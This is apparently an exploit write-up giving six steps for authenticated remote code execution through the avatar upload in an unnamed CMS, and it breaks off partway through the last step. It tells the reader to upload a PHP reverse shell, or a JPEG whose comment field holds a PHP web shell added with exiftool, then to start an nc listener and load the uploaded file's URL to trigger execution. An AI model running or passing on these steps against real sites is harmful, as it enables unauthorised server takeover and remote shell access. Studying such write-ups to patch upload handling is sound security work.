Step 1: Log in to the CMS with any valid user credentials.
Step 2: Click on the logged in username on header and select Manage Account.
Step 3: Upload a php payload ( i used the default php webshell in
/usr/share/webshells/php/php-reverse-shell.php) or a jpeg image embeded
with a php payload. ("exiftool -Comment='<?php system($_GET['cmd']); ?>'
r0b0t.jpg") Then update profile.
Step 4: Click on username on header again and select Manage Account.
Step 5: Right click on the uploaded php payload or embeded image located
under the "choose avatar form" then copy image location.
Step 6: Start nc listener and paste the url in browser. This will trigger
the remote code execution if you used a php shell. (
